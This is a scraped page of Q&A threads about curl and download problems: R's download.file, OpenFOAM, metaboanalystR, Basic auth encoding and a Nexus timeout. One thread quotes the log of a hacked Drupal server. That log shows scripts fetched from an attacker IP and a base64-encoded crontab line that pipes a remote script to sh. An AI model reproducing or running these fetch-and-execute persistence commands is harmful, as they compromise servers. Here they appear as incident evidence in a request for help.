Download.file with method curl downloads 0 bytes - r

When I use the download.file function with method curl I get a downloaded file with 0 bytes.
for example:
download.file('https://github.com/rstudio/rmarkdown/archive/refs/heads/main.zip', destfile='library', method='curl')
Produces the following output:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
character(0)
How can I get this fixed?
Note:
method='wget' works but that is because my Mac has wget, however my windows laptop only has curl as an option, and this does not work. I specifically want to fix the curl method.

Related

Open Foam Trouble while accessing

`
-MacBook-Air ~ % sudo curl -o /usr/local/bin/openfoam-macos-file-system http://d1.openfoam.org/docker/openfoam-macos-file-system
Password:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: d1.openfoam.org
rahiuppal#rahis-MacBook-Air ~ %
`
While accessing Open Foam I am getting this error, Can anyone help me to sort this out?
Help me to sort this out

Did someone have problems with metaboanalystR CrossReferencing error?

I am trying to run some tutorials of metaboanalystR and I have a problem with function CrossReferencing
mSet<-CrossReferencing(mSet, "name")
[1] "Reading data unsuccessful, attempting to re-download file..."
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 557k 100 557k 0 0 557k 0 0:00:01 0:00:01 --:--:-- 457k
[1] "Loading files from server unsuccessful. Ensure curl is downloaded on your computer."
Error in .read.metaboanalyst.lib("compound_db.rds") :
objeto 'my.lib' no encontrado
I have already install curl, but nothing happens.
Did anyone have the same error?
Thank you

Drupla Site hacked

apache server error_log:
--2018-11-14 22:13:39-- http://164.132.159.56/drupal/zps.sh
Connecting to 164.132.159.56:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 589 [text/x-sh]
Saving to: 'STDOUT'
0K 100% 101M=0s
2018-11-14 22:13:40 (101 MB/s) - written to stdout [589/589]
rm: cannot remove '/var/tmp/yum-ec2-user-_j9uM3': Operation not permitted
rm: refusing to remove '.' or '..' directory: skipping '/var/tmp/.'
rm: refusing to remove '.' or '..' directory: skipping '/var/tmp/..'
--2018-11-14 22:13:40-- http://164.132.159.56/drupal/2/olo
Connecting to 164.132.159.56:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33880 (33K)
Saving to: '/var/tmp/lew'
0K .......... .......... .......... ... 100% 286K=0.1s
2018-11-14 22:13:40 (286 KB/s) - '/var/tmp/lew' saved [33880/33880]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M100 33880 100 33880 0 0 96119 0 --:--:-- --:--:-- --:--:-- 96250
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
sh: line 1: 22417 Done echo '* * * * * echo -n "d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA==" | base64 -d |sh > /dev/null'
22418 Killed | crontab -
e: No such file or directory
e: No such file or directory
e: No such file or directory
e: No such file or directory
Please tell solution.
Use Hacked module (https://www.drupal.org/project/hacked) for your site.
It will give you report for all files which has been changed recently.
You can either delete those files or resolve their coding.

How does cUrl -u turn username and password into hash?

I'm trying to figure out how safe curl -u is to use with a real username and password. Investigating the header of such a request, it seems the user name and password are turned into some kind of hash.
In the example below, it seems jujuba:lalalala is being turned to anVqdWJhOmxhbGFsYWxh
Is this encryption or compression? Is it safe? How does the recipient decode this data?
curl -u jujuba:lalalala -i -X Get http://localhost:80/api/resource -v
* timeout on name lookup is not supported
* Trying 127.0.0.1...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to localhost (127.0.0.1) port 80 (#0)
* Server auth using Basic with user 'jujuba'
> Get /api/resource HTTP/1.1
> Host: localhost
> Authorization: Basic anVqdWJhOmxhbGFsYWxh
If you run the command:
echo anVqdWJhOmxhbGFsYWxh | base64 -d
You will get jujuba:lalala showing that the content is just Base-64 encoded, which is the standard for Basic authentication.
You should use HTTPS for any site that requires authentication.

Unable to download large files from Sonatype Nexus

Nexus version 3.1.0-04
During a build, I receive the following error downloading an artifact from Nexus.
Download >http://10.148.254.17:8081/nexus/content/repositories/central/org/assertj/assertj-core/2.4.1/assertj-core-2.4.1.jar
:collection:extractIncludeTestProto FAILED
FAILURE: Build failed with an exception.
What went wrong:
Could not resolve all dependencies for configuration ':collection:testCompile'.
Could not download assertj-core.jar (org.assertj:assertj-core:2.4.1)
Could not get resource 'http://xxx.xxx.xxx.xxx:8081/nexus/content/repositories/central/org/assertj/assertj-core/2.4.1/assertj-core-2.4.1.jar'.
Premature end of Content-Length delimited message body (expected: 900718; received: 6862
This appear to be a problem with large files stored in Nexus.
If I try and download the file via wget or curl, it also fails.
c:>wget http://xxx.xxx.xxx.xxx:8081/nexus/content/repositories/central/org/assertj/assertj-core/2.5.0/assertj-
core-2.5.0.jar
--13:57:06-- >http://xxx.xxx.xxx.xxx:8081/nexus/content/repositories/central/org/assertj/assertj-core/2.5.0/assertj-core-2.5.0.jar
=> `assertj-core-2.5.0.jar'
Resolving proxy.xxxx.com... done.
Connecting to proxy.xxxx.com[xxx.xxx.xxx.xxx]:xxx... connected.
Proxy request sent, awaiting response... 200 OK
Length: 934,446 [application/java-archive]
0% [ ] 6,856 1.44K/s ETA 10:27
13:57:21 (1.44 KB/s) - Connection closed at byte 6856. Retrying.
c:>curl -O http://xxx.xxx.xxx.xxx:8081/nexus/content/repositories/central/org/assertj/assertj-core/2.5.0/assertj-core-2.5.0.jar
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 912k 0 6862 0 0 613 0 0:25:24 0:00:11 0:25:13 613
curl: (18) transfer closed with 927584 bytes remaining to read
Any ideas why?
In my case by docker layer was blocked. I solved this problem by changing the timeout in System>Http>Connection/Socket timeout.

Resources